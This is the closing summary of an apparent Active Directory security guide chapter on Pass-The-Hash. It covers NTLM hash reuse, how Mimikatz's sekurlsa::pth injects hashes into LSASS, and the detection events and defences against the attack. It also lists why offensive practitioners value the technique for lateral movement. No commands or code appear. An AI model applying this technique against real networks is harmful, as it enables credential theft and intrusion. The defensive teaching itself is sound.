  1. NTLM Architecture: The protocol uses the NT hash directly to encrypt server challenges during authentication, making hash possession equivalent to password possession for NTLM authentication purposes.

  2. Mimikatz Implementation: The sekurlsa::pth command creates a process with suspended thread, establishes a logon session, injects the provided hash into LSASS memory for that session's LUID, and resumes the process, resulting in a shell with network authentication capability.

  3. Kerberos Compatibility: Modern implementations support both NTLM hashes (for RC4-HMAC Kerberos and NTLM auth) and AES keys (for AES128/256 Kerberos), providing flexibility across different environment configurations.

  4. Detection Vectors: Primary detection relies on Event ID 4648 (explicit credential logon), Sysmon Event ID 10 (LSASS process access), and Event ID 4776 (NTLM authentication), along with behavioral analytics for anomalous authentication patterns.

  5. Defense Layering:

    • NTLM Restriction: Eliminating NTLM protocol prevents the attack entirely
    • LSA PPL: Blocks credential injection into LSASS memory
    • LAPS: Prevents local admin hash reuse across systems
    • Credential Guard: Reduces credential exposure (but doesn't prevent PtH with stolen hashes)
    • PAWs: Isolates administrative credentials to hardened systems

Operational Considerations:

For offensive practitioners, Pass-The-Hash is valuable because:

  • No password cracking required (saves time and resources)
  • Works with any NT hash (extracted from memory, SAM, NTDS, or network captures)
  • Bypasses many application-layer authentication controls
  • Enables lateral movement with local admin hash reuse
  • Combines with other attacks (DCSync after DA hash obtained)

For defensive teams, protecting against PtH requires:

  • Transitioning away from NTLM to Kerberos-only authentication
  • Implementing LSA PPL on all Windows 8.1+ systems
  • Deploying LAPS for unique local administrator passwords
  • Monitoring LSASS access and explicit credential usage
  • Enforcing least privilege and time-limited administrative access

Strategic Importance:

Pass-The-Hash attacks illustrate fundamental Windows security challenges:

  • Legacy protocol support (NTLM) maintains vulnerabilities for backward compatibility
  • Credential material stored in memory enables extraction and reuse
  • Local administrator password reuse amplifies compromise impact
  • Detection requires understanding both authentication protocols and process behavior

In the broader context of Active Directory security, Pass-The-Hash demonstrates why credential protection is paramount. A single compromised system can expose credentials for multiple users, and hash reuse (especially local administrators) enables rapid lateral movement across entire networks. Organizations must prioritize eliminating NTLM, implementing runtime protections like LSA PPL, deploying LAPS for password uniqueness, and establishing robust monitoring for credential-based attacks.

The attack also highlights the importance of assuming breach mentality—even with strong perimeter defenses, insider threats or successful phishing can lead to credential compromise, making post-exploitation defenses and detection capabilities critical components of a comprehensive security strategy.


Previous Chapter: Chapter 22: Skeleton Key

Next Chapter: Chapter 24: Kerberos Overview

Related Chapters: